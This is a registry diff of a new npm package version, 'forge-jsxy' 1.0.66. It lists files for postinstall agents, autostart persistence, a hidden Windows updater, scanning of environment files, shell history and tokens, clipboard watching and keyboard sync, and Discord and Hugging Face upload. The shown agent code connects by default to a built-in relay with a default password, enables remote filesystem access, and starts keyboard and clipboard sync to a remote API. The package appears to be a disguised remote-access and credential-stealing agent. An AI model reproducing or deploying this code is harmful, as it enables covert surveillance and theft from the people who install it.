forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32" role="img" aria-label="Forge-explorer">
|
|
2
|
+
<title>Forge-explorer</title>
|
|
3
|
+
<defs>
|
|
4
|
+
<linearGradient id="fe-folder" x1="0" y1="0" x2="0" y2="1">
|
|
5
|
+
<stop offset="0%" stop-color="#edd089"/>
|
|
6
|
+
<stop offset="55%" stop-color="#c9a052"/>
|
|
7
|
+
<stop offset="100%" stop-color="#8f6b2a"/>
|
|
8
|
+
</linearGradient>
|
|
9
|
+
<linearGradient id="fe-tab" x1="0" y1="0" x2="1" y2="0">
|
|
10
|
+
<stop offset="0%" stop-color="#4a4a4e"/>
|
|
11
|
+
<stop offset="100%" stop-color="#353538"/>
|
|
12
|
+
</linearGradient>
|
|
13
|
+
</defs>
|
|
14
|
+
<rect width="32" height="32" rx="7" fill="#1e1e1e"/>
|
|
15
|
+
<rect x="1.5" y="1.5" width="29" height="29" rx="6" fill="none" stroke="#3e3e42" stroke-width="1"/>
|
|
16
|
+
<!-- Remote folder: explorer folder palette (#dcb67a family) -->
|
|
17
|
+
<path
|
|
18
|
+
fill="url(#fe-tab)"
|
|
19
|
+
d="M7 9.5h5.2L14.2 11H25a1.2 1.2 0 011.2 1.2V13H6.8v-2.3A1.3 1.3 0 018.1 9.5z"/>
|
|
20
|
+
<path
|
|
21
|
+
fill="#2d2d30"
|
|
22
|
+
stroke="#5a4a32"
|
|
23
|
+
stroke-width="0.75"
|
|
24
|
+
d="M6.5 12.5h19a1 1 0 011 1v10.8a1.2 1.2 0 01-1.2 1.2H7.7a1.2 1.2 0 01-1.2-1.2V13.5a1 1 0 011-1z"/>
|
|
25
|
+
<path
|
|
26
|
+
fill="url(#fe-folder)"
|
|
27
|
+
d="M7.2 14.2h17.6a0.6 0.6 0 010.6v9.3a1 1 0 01-1 1H7.6a1 1 0 01-1-1v-8.3a1 1 0 011-1z"/>
|
|
28
|
+
<!-- Relay accent: VS Code button blue -->
|
|
29
|
+
<circle cx="23.5" cy="9.8" r="3.2" fill="#0078d4"/>
|
|
30
|
+
<circle cx="23.5" cy="9.8" r="1.35" fill="#f0f6fc"/>
|
|
31
|
+
</svg>
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
export declare const AGENT_PID_BASENAME = "forge-js-agent.pid";
|
|
2
|
+
export declare function agentPidFilePath(): string;
|
|
3
|
+
/** First line: PID. Optional second line: canonical forge session id (newer agents). */
|
|
4
|
+
export interface AgentPidFileContents {
|
|
5
|
+
pid: number | null;
|
|
6
|
+
sessionId: string | null;
|
|
7
|
+
}
|
|
8
|
+
export declare function readAgentPidFile(): AgentPidFileContents;
|
|
9
|
+
export declare function readAgentPid(): number | null;
|
|
10
|
+
export declare function isPidRunning(pid: number): boolean;
|
|
11
|
+
export declare function isForgeAgentAlreadyRunning(): boolean;
|
|
12
|
+
export declare function writeAgentPidFile(sessionId: string): void;
|
|
13
|
+
export declare function removeAgentPidFile(): void;
|
|
14
|
+
export declare function clearStaleAgentPidFile(): void;
|
package/dist/agentPid.js
ADDED
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.AGENT_PID_BASENAME = void 0;
|
|
37
|
+
exports.agentPidFilePath = agentPidFilePath;
|
|
38
|
+
exports.readAgentPidFile = readAgentPidFile;
|
|
39
|
+
exports.readAgentPid = readAgentPid;
|
|
40
|
+
exports.isPidRunning = isPidRunning;
|
|
41
|
+
exports.isForgeAgentAlreadyRunning = isForgeAgentAlreadyRunning;
|
|
42
|
+
exports.writeAgentPidFile = writeAgentPidFile;
|
|
43
|
+
exports.removeAgentPidFile = removeAgentPidFile;
|
|
44
|
+
exports.clearStaleAgentPidFile = clearStaleAgentPidFile;
|
|
45
|
+
const fs = __importStar(require("node:fs"));
|
|
46
|
+
const path = __importStar(require("node:path"));
|
|
47
|
+
const clientId_1 = require("./clientId");
|
|
48
|
+
exports.AGENT_PID_BASENAME = "forge-js-agent.pid";
|
|
49
|
+
function agentPidFilePath() {
|
|
50
|
+
return path.join((0, clientId_1.defaultCfgmgrDataDir)(), exports.AGENT_PID_BASENAME);
|
|
51
|
+
}
|
|
52
|
+
function readAgentPidFile() {
|
|
53
|
+
try {
|
|
54
|
+
const raw = fs.readFileSync(agentPidFilePath(), "utf8").replace(/\r\n/g, "\n");
|
|
55
|
+
const lines = raw
|
|
56
|
+
.split("\n")
|
|
57
|
+
.map((l) => l.trim())
|
|
58
|
+
.filter((l) => l.length > 0);
|
|
59
|
+
if (lines.length === 0)
|
|
60
|
+
return { pid: null, sessionId: null };
|
|
61
|
+
const n = parseInt(lines[0], 10);
|
|
62
|
+
const pid = Number.isFinite(n) && n > 0 ? n : null;
|
|
63
|
+
const sessionId = lines.length >= 2 ? lines[1] : null;
|
|
64
|
+
return { pid, sessionId };
|
|
65
|
+
}
|
|
66
|
+
catch {
|
|
67
|
+
return { pid: null, sessionId: null };
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
function readAgentPid() {
|
|
71
|
+
return readAgentPidFile().pid;
|
|
72
|
+
}
|
|
73
|
+
function isPidRunning(pid) {
|
|
74
|
+
try {
|
|
75
|
+
process.kill(pid, 0);
|
|
76
|
+
return true;
|
|
77
|
+
}
|
|
78
|
+
catch {
|
|
79
|
+
return false;
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
function isForgeAgentAlreadyRunning() {
|
|
83
|
+
const pid = readAgentPid();
|
|
84
|
+
return pid !== null && isPidRunning(pid);
|
|
85
|
+
}
|
|
86
|
+
function writeAgentPidFile(sessionId) {
|
|
87
|
+
const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
88
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
89
|
+
fs.writeFileSync(agentPidFilePath(), `${process.pid}\n${String(sessionId || "").trim()}\n`, "utf8");
|
|
90
|
+
}
|
|
91
|
+
function removeAgentPidFile() {
|
|
92
|
+
try {
|
|
93
|
+
fs.unlinkSync(agentPidFilePath());
|
|
94
|
+
}
|
|
95
|
+
catch {
|
|
96
|
+
/* skip */
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
function clearStaleAgentPidFile() {
|
|
100
|
+
const { pid } = readAgentPidFile();
|
|
101
|
+
if (pid !== null && !isPidRunning(pid)) {
|
|
102
|
+
removeAgentPidFile();
|
|
103
|
+
}
|
|
104
|
+
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export interface ForgeAgentCliOptions {
|
|
2
|
+
relayUrl: string;
|
|
3
|
+
sessionId: string;
|
|
4
|
+
password: string;
|
|
5
|
+
allowFilesystem: boolean;
|
|
6
|
+
quiet: boolean;
|
|
7
|
+
/** When true, allow starting even if another agent PID exists (use with care). */
|
|
8
|
+
force?: boolean;
|
|
9
|
+
/** Session was derived from persisted/generated client id (show hint once). */
|
|
10
|
+
announceSession?: boolean;
|
|
11
|
+
}
|
|
12
|
+
export declare function resolveForgeAgentFromArgv(argv: string[], env?: NodeJS.ProcessEnv): ForgeAgentCliOptions | null;
|
|
13
|
+
export declare function runForgeAgentWithSingleton(opts: ForgeAgentCliOptions): void;
|
|
@@ -0,0 +1,290 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.resolveForgeAgentFromArgv = resolveForgeAgentFromArgv;
|
|
37
|
+
exports.runForgeAgentWithSingleton = runForgeAgentWithSingleton;
|
|
38
|
+
/**
|
|
39
|
+
* Shared forge-agent resolution + singleton + relay loop (used by cli-agent and forge-cfgmgr bootstrap).
|
|
40
|
+
*/
|
|
41
|
+
const fs = __importStar(require("node:fs"));
|
|
42
|
+
const path = __importStar(require("node:path"));
|
|
43
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
44
|
+
const agentPid_1 = require("./agentPid");
|
|
45
|
+
const relayAgent_1 = require("./relayAgent");
|
|
46
|
+
const relayAuth_1 = require("./relayAuth");
|
|
47
|
+
const clientId_1 = require("./clientId");
|
|
48
|
+
const fsProtocol_1 = require("./fsProtocol");
|
|
49
|
+
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
50
|
+
const windowsInputSync_1 = require("./windowsInputSync");
|
|
51
|
+
const relayForAgentHttp_1 = require("./relayForAgentHttp");
|
|
52
|
+
function parseAgentArgv(argv) {
|
|
53
|
+
let relay;
|
|
54
|
+
let session;
|
|
55
|
+
let password;
|
|
56
|
+
let noPassword = false;
|
|
57
|
+
let noFilesystem = false;
|
|
58
|
+
let quiet = false;
|
|
59
|
+
let force = false;
|
|
60
|
+
for (let i = 2; i < argv.length; i++) {
|
|
61
|
+
const a = argv[i];
|
|
62
|
+
if (a === "--relay" && argv[i + 1])
|
|
63
|
+
relay = argv[++i];
|
|
64
|
+
else if (a === "--session" && argv[i + 1])
|
|
65
|
+
session = argv[++i];
|
|
66
|
+
else if (a === "--password" && argv[i + 1])
|
|
67
|
+
password = argv[++i];
|
|
68
|
+
else if (a === "--no-password")
|
|
69
|
+
noPassword = true;
|
|
70
|
+
else if (a === "--no-filesystem")
|
|
71
|
+
noFilesystem = true;
|
|
72
|
+
else if (a === "--quiet" || a === "-q")
|
|
73
|
+
quiet = true;
|
|
74
|
+
else if (a === "--force")
|
|
75
|
+
force = true;
|
|
76
|
+
}
|
|
77
|
+
if ((process.env.FORGE_JS_QUIET_AGENT || "").trim() === "1")
|
|
78
|
+
quiet = true;
|
|
79
|
+
return { relay, session, password, noPassword, noFilesystem, quiet, force };
|
|
80
|
+
}
|
|
81
|
+
function resolvePassword(noPassword, cliPassword) {
|
|
82
|
+
if (noPassword)
|
|
83
|
+
return "";
|
|
84
|
+
/** Explicit `--password` must override env so local overrides work (env often comes from forge-js-agent.env). */
|
|
85
|
+
if (cliPassword !== undefined)
|
|
86
|
+
return cliPassword;
|
|
87
|
+
if (process.env.CFGMGR_SESSION_PASSWORD !== undefined) {
|
|
88
|
+
return process.env.CFGMGR_SESSION_PASSWORD.trim();
|
|
89
|
+
}
|
|
90
|
+
return deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
|
|
91
|
+
}
|
|
92
|
+
function resolveForgeAgentFromArgv(argv, env = process.env) {
|
|
93
|
+
const args = parseAgentArgv(argv);
|
|
94
|
+
let relay = args.relay?.trim() ||
|
|
95
|
+
env.FORGE_JS_RELAY_URL?.trim() ||
|
|
96
|
+
env.CFGMGR_RELAY_URL?.trim() ||
|
|
97
|
+
env.CFGMGR_RELAY_FALLBACK?.trim() ||
|
|
98
|
+
"";
|
|
99
|
+
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
100
|
+
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
101
|
+
}
|
|
102
|
+
if (!relay)
|
|
103
|
+
return null;
|
|
104
|
+
let sessionId;
|
|
105
|
+
let announceSession = false;
|
|
106
|
+
if (args.session?.trim()) {
|
|
107
|
+
sessionId = args.session.trim();
|
|
108
|
+
}
|
|
109
|
+
else if (env.CFGMGR_SESSION_ID?.trim()) {
|
|
110
|
+
sessionId = env.CFGMGR_SESSION_ID.trim();
|
|
111
|
+
}
|
|
112
|
+
else {
|
|
113
|
+
/**
|
|
114
|
+
* Always hit relay HTTP when allowed so `sync_api_base_url` is applied before the WebSocket
|
|
115
|
+
* connect — even when we ignore `cfgmgr_session_id` on Windows (see below).
|
|
116
|
+
*/
|
|
117
|
+
const discovery = env.NODE_ENV === "test" ||
|
|
118
|
+
(env.FORGE_JS_SKIP_RELAY_AGENT_HTTP || "").trim() === "1"
|
|
119
|
+
? { cfgmgrSessionId: "" }
|
|
120
|
+
: (0, relayForAgentHttp_1.fetchRelayForAgentDiscoverySync)(relay);
|
|
121
|
+
const fromRelay = discovery.cfgmgrSessionId;
|
|
122
|
+
/**
|
|
123
|
+
* Default to this machine's own client_* session on all OSes.
|
|
124
|
+
* Using relay-advertised default rooms (e.g. shared probes) can make multiple agents collide
|
|
125
|
+
* in one session, causing dashboard rows to appear offline and explorer to target the wrong host.
|
|
126
|
+
* Opt in to relay default room only when explicitly requested.
|
|
127
|
+
*/
|
|
128
|
+
const useRelaySession = (env.FORGE_JS_USE_RELAY_SESSION || "").trim().toLowerCase() === "1";
|
|
129
|
+
if (!useRelaySession) {
|
|
130
|
+
const cid = (0, clientId_1.getOrCreateClientId)();
|
|
131
|
+
sessionId = (0, relayAuth_1.sessionIdFromClientId)(cid);
|
|
132
|
+
announceSession = true;
|
|
133
|
+
}
|
|
134
|
+
else if (fromRelay) {
|
|
135
|
+
sessionId = fromRelay;
|
|
136
|
+
announceSession = false;
|
|
137
|
+
}
|
|
138
|
+
else {
|
|
139
|
+
const cid = (0, clientId_1.getOrCreateClientId)();
|
|
140
|
+
sessionId = (0, relayAuth_1.sessionIdFromClientId)(cid);
|
|
141
|
+
announceSession = true;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
const canon = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
|
|
145
|
+
if (!(0, relayAuth_1.sessionIdIsValid)(canon)) {
|
|
146
|
+
throw new Error("Invalid session id. Use 1-128 chars from: letters, digits, ., _, -");
|
|
147
|
+
}
|
|
148
|
+
const password = resolvePassword(args.noPassword, args.password);
|
|
149
|
+
return {
|
|
150
|
+
relayUrl: relay,
|
|
151
|
+
sessionId: canon,
|
|
152
|
+
password,
|
|
153
|
+
allowFilesystem: !args.noFilesystem,
|
|
154
|
+
quiet: args.quiet,
|
|
155
|
+
force: args.force,
|
|
156
|
+
announceSession,
|
|
157
|
+
};
|
|
158
|
+
}
|
|
159
|
+
function runForgeAgentWithSingleton(opts) {
|
|
160
|
+
(0, agentPid_1.clearStaleAgentPidFile)();
|
|
161
|
+
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
162
|
+
(0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
|
|
163
|
+
if (!opts.force) {
|
|
164
|
+
const meta = (0, agentPid_1.readAgentPidFile)();
|
|
165
|
+
const existing = meta.pid;
|
|
166
|
+
if (existing !== null && (0, agentPid_1.isPidRunning)(existing) && existing !== process.pid) {
|
|
167
|
+
const want = opts.sessionId;
|
|
168
|
+
const have = meta.sessionId;
|
|
169
|
+
if (have && have !== want) {
|
|
170
|
+
console.error(`forge-agent: another agent is already running (pid ${existing}) with session "${have}".\n` +
|
|
171
|
+
`This start requests session "${want}". Stop the other process (close its terminal / Task Manager) or use --force.\n` +
|
|
172
|
+
`Only one forge-agent should run per machine; a second agent with a different session will never connect while the first holds the singleton.`);
|
|
173
|
+
process.exit(3);
|
|
174
|
+
}
|
|
175
|
+
if (!opts.quiet) {
|
|
176
|
+
console.error(`forge-agent: already running (pid ${existing}). Use --force to start another.`);
|
|
177
|
+
}
|
|
178
|
+
process.exit(0);
|
|
179
|
+
}
|
|
180
|
+
}
|
|
181
|
+
const pkgRoot = path.resolve(__dirname, "..");
|
|
182
|
+
(0, agentPid_1.writeAgentPidFile)(opts.sessionId);
|
|
183
|
+
let stopDesktopSync;
|
|
184
|
+
let sidecarsStarted = false;
|
|
185
|
+
let warnedNoSync = false;
|
|
186
|
+
const tryStartSidecars = (afterRelayCaps) => {
|
|
187
|
+
if (sidecarsStarted)
|
|
188
|
+
return;
|
|
189
|
+
const api = (0, windowsInputSync_1.resolveSyncApiBase)();
|
|
190
|
+
const kbdClipOn = (0, windowsInputSync_1.effectiveSyncKeyboardClipboard)();
|
|
191
|
+
if (!api) {
|
|
192
|
+
if (afterRelayCaps &&
|
|
193
|
+
kbdClipOn &&
|
|
194
|
+
!warnedNoSync &&
|
|
195
|
+
!opts.quiet) {
|
|
196
|
+
warnedNoSync = true;
|
|
197
|
+
console.error("[forge-js] forge-db HTTP sync is off: no API base URL. " +
|
|
198
|
+
"Set FORGE_JS_SYNC_URL (or CFGMGR_API_URL) on the relay (advertised to agents), " +
|
|
199
|
+
"or on the agent, and avoid FORGE_JS_DISABLE_SYNC=1 / FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 unless you override URLs.");
|
|
200
|
+
}
|
|
201
|
+
return;
|
|
202
|
+
}
|
|
203
|
+
sidecarsStarted = true;
|
|
204
|
+
if (kbdClipOn && api) {
|
|
205
|
+
stopDesktopSync = (0, windowsInputSync_1.startDesktopInputSync)({
|
|
206
|
+
apiBaseUrl: api,
|
|
207
|
+
clientId: (0, clientId_1.getOrCreateClientId)(),
|
|
208
|
+
quiet: opts.quiet,
|
|
209
|
+
});
|
|
210
|
+
}
|
|
211
|
+
};
|
|
212
|
+
tryStartSidecars(false);
|
|
213
|
+
const cleanup = () => {
|
|
214
|
+
try {
|
|
215
|
+
stopDesktopSync?.();
|
|
216
|
+
}
|
|
217
|
+
catch {
|
|
218
|
+
/* skip */
|
|
219
|
+
}
|
|
220
|
+
try {
|
|
221
|
+
(0, fsProtocol_1.purgeAllExplorerStagingSync)();
|
|
222
|
+
}
|
|
223
|
+
catch {
|
|
224
|
+
/* skip */
|
|
225
|
+
}
|
|
226
|
+
try {
|
|
227
|
+
(0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
|
|
228
|
+
}
|
|
229
|
+
catch {
|
|
230
|
+
/* skip */
|
|
231
|
+
}
|
|
232
|
+
try {
|
|
233
|
+
(0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
234
|
+
}
|
|
235
|
+
catch {
|
|
236
|
+
/* skip */
|
|
237
|
+
}
|
|
238
|
+
try {
|
|
239
|
+
if ((0, agentPid_1.readAgentPid)() === process.pid) {
|
|
240
|
+
(0, agentPid_1.removeAgentPidFile)();
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
catch {
|
|
244
|
+
/* skip */
|
|
245
|
+
}
|
|
246
|
+
};
|
|
247
|
+
process.once("SIGINT", () => {
|
|
248
|
+
cleanup();
|
|
249
|
+
process.exit(130);
|
|
250
|
+
});
|
|
251
|
+
process.once("SIGTERM", () => {
|
|
252
|
+
cleanup();
|
|
253
|
+
process.exit(143);
|
|
254
|
+
});
|
|
255
|
+
// Windows console "break" / some close paths deliver SIGBREAK instead of SIGINT.
|
|
256
|
+
if (process.platform === "win32") {
|
|
257
|
+
process.once("SIGBREAK", () => {
|
|
258
|
+
cleanup();
|
|
259
|
+
process.exit(131);
|
|
260
|
+
});
|
|
261
|
+
}
|
|
262
|
+
process.once("exit", cleanup);
|
|
263
|
+
if (opts.announceSession) {
|
|
264
|
+
/** Same path as `%LOCALAPPDATA%\\CfgMgr\\data\\forge-js-explorer-session.txt` on Windows — always refresh when session is auto-picked. */
|
|
